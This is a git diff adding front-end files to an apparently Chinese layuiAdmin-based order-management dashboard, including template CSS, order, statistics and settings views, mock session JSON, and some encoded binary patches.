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 literal 0 HcmV?d00001 diff --git a/src/style/template.css b/src/style/template.css new file mode 100644 index 0000000..3c862fe --- /dev/null +++ b/src/style/template.css @@ -0,0 +1,186 @@ +/** + + @Name:layuiAdmin + @Author:贤心 + @Site:http://www.layui.com/admin/ + @License:LPPL + + */ + + + +/******************************** + + 模板开始 By xuzhiwen + +*******************************/ + + +/* 产品版本选择面板 */ +.layadmin-panel-selection{width: 768px; margin: 30px auto;} +.layadmin-panel-selection .layui-panel-window{padding: 30px 50px; border-top-color: #ddd; text-align: center;} +.layadmin-panel-selection .layui-panel-window h2{padding-bottom: 15px; font-size: 18px;} +.layadmin-panel-selection .layui-panel-window ul{margin-top: 15px; text-align: left;} +.layadmin-panel-selection .layui-btn-container{margin-top: 30px;} +.layadmin-panel-selection .layui-btn-container .layui-btn{width: 100%;} + +/* 通讯录面板 */ +.layadmin-maillist-fluid .layadmin-contact-box{padding:20px;background-color: #fff; + border: 1px solid #e7eaec;overflow: hidden;} +.layadmin-maillist-fluid .layadmin-text-center{text-align: center;} +.layadmin-maillist-fluid .layadmin-text-center img{max-width: 80%;border-radius: 50%;margin-top: 5px;} +.layadmin-maillist-fluid .layadmin-font-blod{font-weight: 600;} +.layadmin-maillist-fluid .layadmin-maillist-img{margin-top: 5px;} +.layadmin-maillist-fluid .layadmin-title{margin:5px 0 10px 0;} +.layadmin-maillist-fluid .layadmin-textimg{line-height: 25px;margin-bottom: 10px;} +.layadmin-maillist-fluid .layadmin-address{line-height: 1.5;margin-bottom: 20px;} +.layadmin-maillist-fluid .layadmin-padding-left20{padding-left: 20px;} + +/* 个人主页 */ +.layadmin-homepage-shadow{box-shadow: 0 1px 1px rgba(0,0,0,.05);background-color: #fff;border-bottom: 1px solid rgba(0,0,0,0.17);border-radius: 0;border: 1px solid #e7ecf3;} +.layadmin-homepage-panel{margin-bottom: 15px;} +.layadmin-homepage-panel .text-center{text-align: center;} +.layadmin-homepage-information{padding: 15px; border-bottom: 1px solid #e9e9e9;} +.layadmin-homepage-pad-ver{ padding-top: 15px;padding-bottom: 15px;} +.layadmin-homepage-pad-img{box-shadow: 0 0 0 4px rgba(0,0,0,0.1);border-radius: 50%;} +.layadmin-homepage-font{font-weight: 600;color: #2b425b;font-size: 1.2em;} +.layadmin-homepage-min-font{margin:5px 0 10px 0;font-size: 0.9em;color: #afb9c3;} +.layadmin-homepage-pad-ver a{line-height: 1.1em;font-size: 1.3em;vertical-align: middle; cursor: pointer;background-color: transparent;color: inherit;padding: 6px 12px;} +.layadmin-homepage-pad-ver a:hover{background: #5FB878; color:#fff;} + +.layadmin-homepage-about{padding: 15px;font-weight: 600;color: #2b425b;} +.layadmin-homepage-list-group{font-size: 0.9em;line-height: 1.25;margin-bottom: 5px;} +.layadmin-homepage-list-group li{ padding: 5px 15px;border: 1px solid #ddd;margin-bottom: -1px;border-width: 1px 0;border-radius: 0; background-color: transparent;border-color: transparent;color: inherit;} +.layadmin-homepage-list-group li i{font-size: 1.333em;line-height: 1.095em;vertical-align: middle; margin-right: 4px;} +.layadmin-homepage-list-group li a.color{color:#337ab7;} +.layadmin-homepage-pad-hor{ padding-left: 15px; padding-right: 15px;border-bottom: 15px;color: #758697; text-indent:20px;} +.layadmin-homepage-list-inline{margin-left: 15px;margin-right: 15px;padding-bottom: 20px} +.layadmin-homepage-list-inline a{display: inline-block;} +.layadmin-homepage-list-inline .layui-btn{font-size: .9em;line-height: 1.42857;vertical-align: middle;height: auto;padding:4px 7px;margin-left: 0px;margin:0 10px 10px 0;} + +/* 左侧个人信息区域 */ +.layadmin-homepage-text-center{text-align: center;margin-bottom: 15px;} +.layadmin-homepage-padding15{padding:15px;margin-bottom: 15px;} +.layadmin-homepage-padding8{padding: 0 8px;} +.layadmin-homepage-paddingmb{margin-bottom: 15px;margin: 0 -7.5px;} +.layadmin-homepage-content{margin-left: 15px;padding: 0;} +.layadmin-homepage-content .new-section-xs{margin: 12px 0;color: inherit;border: 0!important;height: 0px;box-sizing: content-box;} +.layadmin-homepage-content .h4{font-size: 16px;font-weight: 600;color: #2b425b;} +.layadmin-homepage-content small{color: #afb9c3} +.layadmin-homepage-text-center .layui-icon{color:#FFB800;padding-right:5px;} +.layadmin-homepage-padding15 .layui-col-sm5 a{font-size: 11px;height: auto;line-height: 1.5;padding:5px 10px;float: right;} +.layadmin-homepage-padding15 .layui-btn-normal{margin:0 15px;} +.layadmin-homepage-list-imgtxt .layui-col-sm10,.layadmin-homepage-list-imgtxt .layui-col-sm2{background: none} +.layadmin-homepage-list-imgtxt .panel-body{padding: 15px 20px 25px;overflow: hidden;margin-bottom: 15px;} +.layadmin-homepage-list-imgtxt .panel-body .media-left{display: block;float: left;vertical-align: top;padding-right: 10px;} +.layadmin-homepage-list-imgtxt .panel-body .media-left img{border-radius: 50%;} +.layadmin-homepage-list-imgtxt .media-body{width: auto;display: block;overflow: hidden;} +.layadmin-homepage-list-imgtxt .media-body .pad-btm{padding-bottom: 15px;} +.layadmin-homepage-list-imgtxt .media-body .pad-btm p:first-child{padding-bottom: 5px;} +.layadmin-homepage-list-imgtxt .media-body .min-font{margin-bottom: 10px;} +.layadmin-homepage-list-imgtxt .media-body .min-font .layui-breadcrumb a{font-size: 11px;} +.layui-breadcrumb span[lay-separator]{margin:0 5px;} +.layadmin-homepage-list-imgtxt .media-body .pad-btm .fontColor a{font-weight: 600;color: #337ab7;} +.layadmin-homepage-list-imgtxt .media-body .pad-btm .fontColor span{color: #758697;font-weight: 600;} +.layadmin-homepage-list-imgtxt .media-body .h-img{display: block;max-width: 100%;height: auto;margin-top: 10px;} +.layadmin-homepage-list-imgtxt .img-xs{width: 32px;height: 32px;border-radius: 50%;} +.layadmin-homepage-list-imgtxt .media-body .media{margin-top: 15px;overflow: hidden;} +.layadmin-homepage-list-imgtxt .media-body .media .media-right{float: right;padding-top: 10px;} +.layadmin-homepage-list-imgtxt .media-body .media .media-right .list-inline{margin-bottom: 10px;} +.layadmin-homepage-list-imgtxt .media-body .media .list-inline li{padding:0 5px;display: inline-block;} +.layadmin-homepage-list-imgtxt .media-body .media .media-right .list-inline li span{font-weight: 600;} +.layadmin-homepage-list-imgtxt .media-body .media .media-left{display: block;overflow: hidden;width: auto;} +.layadmin-homepage-list-imgtxt .media-body .media .media-left .font-blod{font-weight: 700;color: #758697;} +.layadmin-homepage-list-imgtxt .media-body .media-list{padding-top: 15px;margin-top: 15px;border-top: 1px solid #e9e9e9;} +.layadmin-homepage-list-imgtxt .media-body .media-list .media-item{padding-bottom: 15px;margin-top: 15px;} +.layadmin-homepage-list-imgtxt .media-body .media-list .media-item-left{display:inline-block;padding-right: 10px;margin-bottom: 5px;} +.layadmin-homepage-list-imgtxt .media-body .media-list .media-item-left img{display: block;float: left;} +.layadmin-homepage-list-imgtxt .media-body .media-list .media-text{overflow: hidden;width: auto;display: inline-block;} +.layadmin-homepage-list-imgtxt .media-body .media-list .media-text a{margin-right: 10px;font-weight: 600;display: inline-block;} +.layadmin-homepage-list-imgtxt .media-body .media-list .media-text div:nth-child(2){margin-top: 5px;} +.layadmin-homepage-list-imgtxt .media-body .media-list .layui-btn{height: 24px;line-height: 24px;font-size: 12px;padding:0 20px;margin-bottom: 10px;} +.layadmin-homepage-list-imgtxt .media-body .media-list .layui-btn{height: 24px;line-height: 24px;font-size: 12px;padding:0 20px;margin-bottom: 10px;} + +/* 个人内容区域 */ + +.homepage-top .layui-card-body img{width: 100%} +.homepage-top .layui-card-body .margin-top10{margin-top: 10px;} +.homepage-top .layui-card-body .layui-btn{width: 100%;display: block;} +.homepage-top{padding-bottom: 20px;} +.layadmin-privateletterlist-item{position: relative;display: block;padding: 10px 15px;} +.homepage-bottom .layui-card-body{padding:0;} +.homepage-bottom .layui-card-body img{width: 32px;height: 32px;border-radius: 50%;margin-top: 10px;} +.homepage-bottom .layui-card-body .meida-left{display: table-cell;padding-right: 10px;} +.homepage-bottom .layui-card-body .meida-right{display: table-cell;vertical-align: top;} +.homepage-bottom .layui-card-body a:hover{background: #F2F2F2;} +.homepage-bottom .layui-card-body{background: #fff;} +.layui-card-header .panel-title .layui-icon{position: relative;left: 0;right: 0px;} + +/* 右侧信息栏 */ +.layadmin-cmdlist-fluid{padding-bottom: 60px;} +.cmdlist-container{background: #fff;border:1px solid transparent;} +.cmdlist-container:hover{border:1px solid #e8e8e8;} +.cmdlist-container img{width: 100%;} +.cmdlist-text{padding:20px;} +.cmdlist-text .info{height: 40px;font-size: 14px;line-height: 20px;width: 100%;overflow: hidden;color: #666;margin-bottom:10px;} +.cmdlist-text .price{font-size: 14px;} +.cmdlist-text .price b{margin-right: 20px;} +.cmdlist-text .price p{display: inline-block;} +.cmdlist-text .flow{text-align: right;float: right;} +#demo0{text-align: center;} + +/* 商品列表 */ +.layadmin-message-fluid .layui-col-md12{background: #fff;height: auto;padding-bottom: 50px;} +.layadmin-message-fluid .layui-input-block{margin-left: 0;} +.layadmin-message-fluid .layui-form{padding:45px 40px 0 40px;} +.layadmin-message-fluid .layui-form-label{text-align: left;font-size: 18px;padding-left: 10px;} +.layadmin-message-fluid .layui-textarea{min-height: 100px;font-size: 16px;} +.layadmin-message-fluid .layui-input-right{float: right;} +.layadmin-messag-icon{overflow: hidden;float: left;} +.layadmin-messag-icon .layui-icon{font-size: 24px;line-height: 30px;margin-right: 15px;color: #C4CBCF;} +.layadmin-messag-icon{margin-top: 4px;} +.message-content{padding:0 40px;} +.message-content .media-body{margin-bottom: 60px;} +.message-content .media-body .pad-btm{padding-bottom: 0;} +.message-content .media-left{float: left;margin-right: 10px;} +.message-content .media-left img{border-radius: 50%;} +.message-text{padding-top: 10px;} +.message-content-btn{text-align: center;} +.message-content .layui-btn{height: auto;line-height: 26px; padding: 5px 30px; font-size: 16px;} + +/* 搜索结果页面 */ +.layadmin-serach-main .layui-card-header{height: auto; line-height: 24px; padding: 15px;} +.layadmin-serach-list{margin-bottom: 10px; padding: 10px 0; border-bottom: 1px solid #f6f6f6;} +.layadmin-serach-list h3{padding: 10px 0;} +.layadmin-serach-list h3 .layui-badge{top: -2px;} +.layadmin-serach-list p{color: #666;} +.layadmin-serach-list li{margin-bottom: 20px; padding-bottom: 20px; clear: both;} +.layui-serachlist-cover{float: left; margin-right: 15px;} +.layui-serachlist-cover img{width: 90px; height: 90px;} + + +/* 用户列表开始 */ +.layadmin-caller{background: #fff;padding: 30px;} +.layadmin-caller em{font-style: normal;} +.layadmin-caller .caller-fl{float: left;} +.layadmin-caller .caller-fr{float: right;} +.layadmin-caller .caller-seach{position: relative;padding-bottom:40px;} +.layadmin-caller .caller-seach .caller-icon{font-size: 18px;position: absolute;top: 9px;} +.layadmin-caller .caller-seach-icon{left: 6px;} +.layadmin-caller .caller-dump-icon{right: 6px;cursor: pointer;} +.layadmin-caller .caller-pl32{padding:0 32px;} +.layadmin-caller .caller-tab{margin:0;} +.layadmin-caller .caller-contar{padding-bottom:20px;} +.layadmin-caller .caller-contar .caller-item{padding:25px 0;overflow: hidden;border-bottom: 1px solid #e0e0e0;} +.layadmin-caller .caller-contar .caller-item .caller-main{margin-left: 20px;} +.layadmin-caller .caller-contar .caller-item .caller-main p{line-height: 100%;padding:8px 0;} +.layadmin-caller .caller-contar .caller-item .caller-main p:first-child{padding-top:0;} +.layadmin-caller .caller-contar .caller-item .caller-main em{margin-left: 5px;} +.layadmin-caller .caller-contar .caller-item .caller-main .caller-adds i{padding-right: 5px;margin:0;} +.layadmin-caller .caller-contar .caller-item .caller-main .caller-adds{padding-bottom:12px;} +.layadmin-caller .caller-contar .caller-iconset i{margin:0 5px;} +.layadmin-caller .caller-contar .caller-iconset i:first-child{margin-left: 0;} +.layadmin-caller .caller-contar button{margin-top: 22px;} +.layadmin-caller .caller-contar .caller-img{width: 40px;height: 40px;border-radius: 100%;} + +/****** 模板结束 By xuzhiwen ******/ \ No newline at end of file diff --git a/src/views/index.html b/src/views/index.html new file mode 100644 index 0000000..a42791d --- /dev/null +++ b/src/views/index.html @@ -0,0 +1,67 @@ +
        +
        +
        +
        +
        +
        +
        订单总览
        +
        + +
        +
        +
        + +
        +
        +
        +
        + + + diff --git a/src/views/layout.html b/src/views/layout.html new file mode 100644 index 0000000..a35a935 --- /dev/null +++ b/src/views/layout.html @@ -0,0 +1,157 @@ +
        diff --git a/src/views/order/add/index.html b/src/views/order/add/index.html new file mode 100644 index 0000000..533b47c --- /dev/null +++ b/src/views/order/add/index.html @@ -0,0 +1,333 @@ +订单录入 + +
        + +
        + +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        +
        + +
        +
        + +
        +
        + +
        +
        +
        + +
        +
        +
        + +
        + +
        +
        + +
        +
        + 添加 +
        +
        +
        +
        +
        +
        名称
        +
        价格
        +
        数量
        +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        +
        + + +
        +
        +
        + + diff --git a/src/views/order/list/index.html b/src/views/order/list/index.html new file mode 100644 index 0000000..e0e9e89 --- /dev/null +++ b/src/views/order/list/index.html @@ -0,0 +1,321 @@ +订单列表 + + + +
        + +
        + +
        +
        +
        +
        +
        +
        + +
        +
        +
        +
        + +
        +
        +
        +
        + +
        +
        +
        +
        + +
        +
        +
        +
        + +
        +
        +
        +
        + +
        +
        +
        +
        + +
        +
        +
        + +
        +
        +
        + +
        +
        + +
        +
        + +
        +
        +
        + + diff --git a/src/views/set/system/email.html b/src/views/set/system/email.html new file mode 100644 index 0000000..5ce0d3c --- /dev/null +++ b/src/views/set/system/email.html @@ -0,0 +1,68 @@ + + +邮件服务 + + + +
        +
        +
        +
        +
        邮件服务
        +
        + +
        +
        + +
        + +
        +
        如:smtp.163.com
        +
        +
        + +
        + +
        +
        一般为 25 或 465
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        +
        + +
        +
        +
        + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/src/views/set/system/website.html b/src/views/set/system/website.html new file mode 100644 index 0000000..6471e3a --- /dev/null +++ b/src/views/set/system/website.html @@ -0,0 +1,93 @@ +网站设置 + + + +
        +
        +
        +
        +
        网站设置
        +
        + +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        分钟
        +
        本地开发一般推荐设置为 0,线上环境建议设置为 10。
        +
        +
        + +
        + +
        +
        KB
        +
        提示:1 M = 1024 KB
        +
        +
        + +
        + +
        +
        + +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        +
        + +
        +
        +
        + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/src/views/set/user/info.html b/src/views/set/user/info.html new file mode 100644 index 0000000..c46aeee --- /dev/null +++ b/src/views/set/user/info.html @@ -0,0 +1,80 @@ + +设置我的资料 + + + +
        +
        +
        +
        +
        设置我的资料
        +
        + +
        +
        + +
        + +
        +
        当前角色不可更改为其它角色
        +
        +
        + +
        + +
        +
        不可修改。一般用于后台登入名
        +
        +
        + +
        + +
        +
        +
        + +
        + + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        +
        + + +
        +
        +
        + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/src/views/set/user/password.html b/src/views/set/user/password.html new file mode 100644 index 0000000..ab4eb1d --- /dev/null +++ b/src/views/set/user/password.html @@ -0,0 +1,53 @@ +设置我的密码 + + + +
        +
        +
        +
        +
        修改密码
        +
        + +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        6到16个字符
        +
        +
        + +
        + +
        +
        +
        +
        + +
        +
        +
        + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/src/views/set/说明.txt b/src/views/set/说明.txt new file mode 100644 index 0000000..d556487 --- /dev/null +++ b/src/views/set/说明.txt @@ -0,0 +1,2 @@ + +该目录存放【设置】的视图文件 \ No newline at end of file diff --git a/src/views/shop/classify/add.html b/src/views/shop/classify/add.html new file mode 100644 index 0000000..8b4aece --- /dev/null +++ b/src/views/shop/classify/add.html @@ -0,0 +1,53 @@ +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + + diff --git a/src/views/shop/classify/index.html b/src/views/shop/classify/index.html new file mode 100644 index 0000000..a587a52 --- /dev/null +++ b/src/views/shop/classify/index.html @@ -0,0 +1,133 @@ +
        +
        +
        +
        + +
        + +
        + +
        +
        +
        + + diff --git a/src/views/statistics/months/index.html b/src/views/statistics/months/index.html new file mode 100644 index 0000000..e6aeb55 --- /dev/null +++ b/src/views/statistics/months/index.html @@ -0,0 +1,185 @@ +月份统计 + +
        + +
        + +
        +
        +
        +
        +
        +
        +
        + +
        +
        +
        +
        +
        + +
        +
        +
        + +
        +
        +
        + +
        +
        + +
        +
        +
        + + diff --git a/src/views/statistics/months/person_list.html b/src/views/statistics/months/person_list.html new file mode 100644 index 0000000..3ea130f --- /dev/null +++ b/src/views/statistics/months/person_list.html @@ -0,0 +1,31 @@ +
        + + + diff --git a/src/views/statistics/person/index.html b/src/views/statistics/person/index.html new file mode 100644 index 0000000..ecad3f5 --- /dev/null +++ b/src/views/statistics/person/index.html @@ -0,0 +1,114 @@ +个人统计 + +
        + +
        + +
        +
        +
        +
        +
        +
        +
        + +
        +
        +
        +
        + +
        +
        + +
        +
        +
        + +
        +
        +
        +
        +
        + + diff --git a/src/views/user/login.html b/src/views/user/login.html new file mode 100644 index 0000000..1ac66bf --- /dev/null +++ b/src/views/user/login.html @@ -0,0 +1,62 @@ + + + + + diff --git a/src/views/user/user/list.html b/src/views/user/user/list.html new file mode 100644 index 0000000..4c0d938 --- /dev/null +++ b/src/views/user/user/list.html @@ -0,0 +1,114 @@ +管理员 + +
        +
        +
        +
        +
        +
        + +
        +
        +
        + +
        +
        +
        + +
        +
        + + +
        + +
        + +
        +
        +
        + + diff --git a/src/views/user/user/userform.html b/src/views/user/user/userform.html new file mode 100644 index 0000000..58333a8 --- /dev/null +++ b/src/views/user/user/userform.html @@ -0,0 +1,62 @@ +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + + diff --git a/start/index.html b/start/index.html new file mode 100644 index 0000000..cfcff65 --- /dev/null +++ b/start/index.html @@ -0,0 +1,25 @@ + + + + + 瑶浴 + + + + + + + + +
        + + + + diff --git a/start/json/user/logout.js b/start/json/user/logout.js new file mode 100644 index 0000000..3f600e5 --- /dev/null +++ b/start/json/user/logout.js @@ -0,0 +1,5 @@ +{ + "code": 0 + ,"msg": "退出成功" + ,"data": null +} \ No newline at end of file diff --git a/start/json/user/session.js b/start/json/user/session.js new file mode 100644 index 0000000..c7de98d --- /dev/null +++ b/start/json/user/session.js @@ -0,0 +1,9 @@ +{ + "code": 0 + ,"msg": "" + ,"data": { + "username": "贤心" + ,"sex": "男" + ,"role": 1 + } +} \ No newline at end of file diff --git a/start/json/user/session.php b/start/json/user/session.php new file mode 100644 index 0000000000000000000000000000000000000000..849a41f44ca6713c6d2330468f23a9e6f4a0f819 GIT binary patch literal 1517 zcmb7=eKga19LK-EJ&(Bz6>E%bnNni&*ch8^^x$FX+z@5c%Hec8q@?TVl9u$~p|-T< zD2q8uiLMeSw33G?i%>}q(@A=eP?Fu<`_H}i&-?y-K7V}9>+^Y^^ZDq8bYs9|12>Qh zAP52h`T)A8zz<+hC^QO*L8H-FEXDw5ZiF*5#95k}8Jk-XNY+*aBGHEGNV6fYrVxqt z?kiV2IlH*HkZ7LX9&|59h70{K69|jN;tX*XMn)ENTcR!fe@nLrm|i}KdlGG^G2YZ2 zA;DY1B57*CM4|PNVFF+<2o6KS;28MdGY|~G@d#5}q_Y{B9U6n8 zn-|rgIebA4Za zG9r4`uBv>ga+N5Ur5~qb;&X%WGTXtcGwM9Kb)lD!cn;IL_iejWm+F zPO>CURX@B*d(=~!JR@$Lo>PhWUZNBkRLDcN<&~#t&DQkiT}{3tt%JnEZL!u=*SPkG z01MMJ_Ay>=DSIa~8I@^^VmiTYAI)j?oGqPkGsuo-oM8l1)6dTfg}e8&k_fE{@8;{x zHG>?9wVlzSE;Pa#OOiF03&w;w>Wat53YXP$OLMjHLrSBQzjdc)EpM}SRy9@~kqI@; zx6Hn9z>he*ck+7lcb{pacp)w!5<^W9*9*75#D3StdY!P zQ!h4!l}|}hO`8-ko82aT;&COp9gM4*+6S&18*1@f<0N(WyyRVN`OJ<@o6-EGW&D8~ zX~7L2ElCxOs4()X6J5Y`y307Jr*I$|GjzlITd{9UF3%w~(lOO4*M#C$`>3Ck=I-GzSszix&l`@&X3#?i-1&$_lDW zFn%2p6wqejK{=7})9!KrzmhA^hQT_XocMA9|Ik991_?bAW$A}e10l7)c+8YZPfhGu z_HaPX7+O#dUc9MFPcd3V;`kx_Cq5R;`y0AUpD 